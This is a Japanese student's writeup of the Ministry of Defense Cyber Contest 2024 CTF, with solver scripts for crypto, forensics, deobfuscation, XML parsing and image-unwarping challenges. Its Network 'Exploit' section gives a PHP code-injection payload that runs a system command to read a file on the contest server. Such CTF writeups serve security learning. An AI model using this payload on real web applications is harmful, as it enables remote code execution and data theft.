2024/02/25にあった、防衛省 サイバーコンテスト 2024のwriteupです!
[岐阜大学CTF&競プロ&日曜工作やらハッカソンやらのためのサークル]に所属してますので、ご興味ある岐大生の方は是非!(宣伝)(https://twitter.com/ProgCirGifuUni)
以下writeup
Crypto
Information of Certificate
問題文そのまま、発行者のCNの
QRK7rNJ3hShV.vlc-cybercontest.invalid
がflag
Missing IV
データを出力した先にzip化する2段構え!
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os
# 暗号鍵(16進数文字列からバイト列へ変換)
key = bytes.fromhex("4285a7a182c286b5aa39609176d99c13")
# IVが不明なので、ダミーのIV(全てゼロ)を使用
iv = b"\x00" * 16
# 暗号化されたデータを読み込む
with open("C:\\Users\\sadan\\Downloads\\NoIV.bin", "rb") as f:
encrypted_data = f.read()
# Cipherオブジェクトの作成
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
# 復号器の作成
decryptor = cipher.decryptor()
# データの復号
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 復号されたデータをZIPファイルとして保存
with open("decrypted.zip", "wb") as f:
f.write(decrypted_data)
Forensics
NTFS Data Hide
autospyで解析する。
NTFSDataHideディレクトリのSample.pptx:scriptファイルに怪しげな文がありbase64で変換するとflagが得られる。
NTFS File Delete
autospyで解析する。
削除されたファイルシステム欄からflag.txtを見つけることが出来た。
NTFS File Rename
autospyで解析する。
ファイル名の変更履歴をイベントのタイムラインからLogfileのテキストデータを追うと探しているdocxファイル名が見つかった。
My Secret
無理やり全て文字起こしして、vscodeで開いてflagの大小とサイズの一致している部分を探していたら見つかった。
flagはflag{you_cannot_find_this_secret!}
strings -n 5 "C:\Users\sadan\Downloads\memdump\memdump.raw" > "C:\Users\sadan\Downloads\memdump\strings.txt"
Miscellaneous
Une Maison
写真をよく見ると、中心の方にバーコードのようなものが見える。
そこだけ切り取りWebバーコードリーダーで文字起こしするとflagが得られる。
String Obfuscation
問題
import sys
if len(sys.argv) < 2:
exit()
KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)
if sys.argv[1] == KEY:
print("flag{%s}" % FLAG)
よって以下のようにpythonのコードを書くと
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)
print(FLAG)
3FxYFm4uTYDFFzmb3がflagと分かった。
Where Is the Legit Flag?
#
TTT=chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52)
print(TTT)
# 16進数のリストを定義
TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36]
WATANABE=[WA^ 0b01010011 for WA in reversed(TAKAHASHI)]
# リストの各要素を文字に変換し、それらを連結して文字列を形成する関数
def decode_hex_to_string(hex_list):
return ''.join(chr(x) for x in hex_list)
# 変換関数を使用して16進数のリストを文字列に変換
decoded_string = decode_hex_to_string(WATANABE)
# 結果の文字列を出力
print(decoded_string)
import zlib, base64
TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="
zlib.decompress(base64.b64decode(TANAKA))
# Than volleyball vanish against lumpy berry.
SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\'
# Above face explain for physical decision.
# Via snake name round terrific brass.
# Following suggestion sound regarding female recess.
# Toward vessel disagree beneath huge porter.
SUZUKI = [
74-0+0,
87*1, int(48**1),
# Off purpose land as rural statement.
int(83), int(32.00000), int('34'),
76 & 0xFF, 72 | 0x00, 79 ^ 0x00, [65][0],
# During knot rely save wretched scarecrow.
(2), 47 if True else 0, int(12/1), 10 % 11, ord(chr(26)),
30+5, int(48/2*2), 9*9
]
# Plus toe settle with vast insect.
# Save hands shelter with ratty produce.
# Outside legs nest versus tranquil relation.
# As walk pat round rightful advice.
# Beside payment train by large key.
# Past behavior post toward unable home.
# Among place complain considering unknown current.
# Around spark scorch above spotty grape.
# Underneath jewel chop past dependent rifle.
# Since cobweb tie off hurt string.
# Through queen dam of slippery comparison.
# By wall stroke without secret wash.
# Opposite yoke need beside superb lumber.
result = ''.join([SATO[i] for i in SUZUKI])
print("flog{8vje9wunbp984}")
print(result)
で
flog{8vje9wunbp984}
flag{PHmN2ILK6vsa}
でflagが得られた。
Network
Discovery
最後にヘッダーのHelp->infoからバージョンが確認できた
Exploit
ファイルタイプをphpに変更したうえでdescriptionの所に以下を埋め込むとflagをゲットできる
"></head><body><?php echo system("cat /var/www/flag.txt");?></body><meta name="
で
flag{G3t_R3v3rs3_Sh3ll} flag{G3t_R3v3rs3_Sh3ll}
FileExtract
TCPストリームでパスワードやzipファイルを取得していることがわかる。
なので、まずはzipファイルを入手する。
以下のようにするとflagが得られた。
Programming
Logistic Map
tmp=0.3
for i in range(10000-1):
tmp=3.99*tmp*(1-tmp)
print(tmp)
で0.8112735079776592
よってflag{0.8112735}
XML Confectioner
最大値更新するクッキーの条件と、途中ではじくクッキーの条件が微妙に違うのに注意!
import xml.etree.ElementTree as ET
# ファイルパス
file_path = "C:\\Users\\sadan\\Downloads\\sweets\\sweets.xml"
# ファイルからXMLデータを読み込む
tree = ET.parse(file_path)
root = tree.getroot()
# 最も大きなradiusを持つcookieの内容を格納する変数
largest_radius = 0.0
flag_content = None
# 条件を満たすbatchを探す
for batch in root.findall('.//sweets:batch', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'}):
icecreams = batch.findall('.//sweets:icecream', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'})
candies = batch.findall('.//sweets:candy', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'})
cookies = batch.findall('.//sweets:cookie', namespaces={'sweets': 'http://xml.vlc-cybercontest.com/sweets'})
# 条件1: 少なくとも二つのicecreamが含まれる
if len(icecreams) < 2 or any(float(icecream.get('{http://xml.vlc-cybercontest.com/icecream}amount')[:-1]) < 105 for icecream in icecreams):
continue
# 条件2: candiesのweight合計が28.0g以上
total_weight = sum(float(candy.get('{http://xml.vlc-cybercontest.com/candy}weight')[:-1]) for candy in candies)
if total_weight < 28.0:
continue
# 条件3: candiesのshapeが5種類以上
shapes = {candy.get('{http://xml.vlc-cybercontest.com/candy}shape') for candy in candies}
if len(shapes) < 5:
continue
# 条件4: cookie:kindがicingであり、かつcookie:radiusが3.0cm以上のcookieが少なくとも一つ含まれる
icing_cookies = [cookie for cookie in cookies if cookie.get('{http://xml.vlc-cybercontest.com/cookie}kind') == 'icing' and float(cookie.get('{http://xml.vlc-cybercontest.com/cookie}radius')[:-2]) >= 3.0]
if not icing_cookies:
continue
# 最も大きなradiusを持つcookieの内容を更新(ここではkindに関わらず全てのcookieを対象にする)
for cookie in cookies:
radius = float(cookie.get('{http://xml.vlc-cybercontest.com/cookie}radius')[:-2])
if radius > largest_radius:
largest_radius = radius
flag_content = cookie.text
# 条件を満たす最大のradiusを持つcookieの内容を出力
if flag_content:
print(flag_content)
else:
print("条件を満たすcookieが見つかりませんでした。")
Twisted Text
書く!
解けたのにflagの文字列読み取るのが難しい...
from PIL import Image
import math
# 画像を読み込む
img = Image.open("C:\\Users\\sadan\\Downloads\\Twisted.png")
width, height = img.size
# 出力画像を作成
output_img = Image.new("RGB", (width, height))
# 画像の中心
cx, cy = width / 2, height / 2
# 各ピクセルに対して逆変換を施す
for x in range(width):
for y in range(height):
# 中心からの距離rを計算
dx = x - cx
dy = y - cy
r = math.sqrt(dx**2 + dy**2)
# 回転角を計算
theta = -(r ** 2) / (250 ** 2)
# 元の座標を計算
orig_x = math.cos(theta) * dx + math.sin(theta) * dy + cx
orig_y = -math.sin(theta) * dx + math.cos(theta) * dy + cy
# 元の座標が画像内にある場合は、その色を出力画像にコピー
if 0 <= orig_x < width and 0 <= orig_y < height:
output_img.putpixel((x, y), img.getpixel((int(orig_x), int(orig_y))))
# 出力画像を保存または表示
output_img.save("Restored.png")
output_img.show()
Trivia
The Original Name of AES
Rijndaelらしい。さすがGPT先生...!
CVE Record of Lowest Number
CVE-1999-0001が最古であるところまではGPT先生が教えてくれたので、あとはGoogle先生に聞きに行く
求めるファイル名は ip_input.c
MFA Factors
GPT先生が大体教えてくれた。先生はアメリカ育ちなので資格系の問題だと英訳の時のちょっとの違いが苦手
所持・生体・知識
Web
Browsers Have Local Storage
Webサイトに飛ぶとNothing here, but... と表示されるのと問題のタイトルからソースコードにありそうとあたりを付ける。
フラグはjavascriptのソースコードにあった。
感想
・Miscellaneous問Serial Port SignalとProgramming問Randomness Extractionが情報理論系の問題に見えたから解き切りたかったな....
・Network問Exploitのサーバーが共用だったのか、解き終わるよりも先にネタバレ見てしまった...
・時間配分ミスったな、解ける問題あったのに!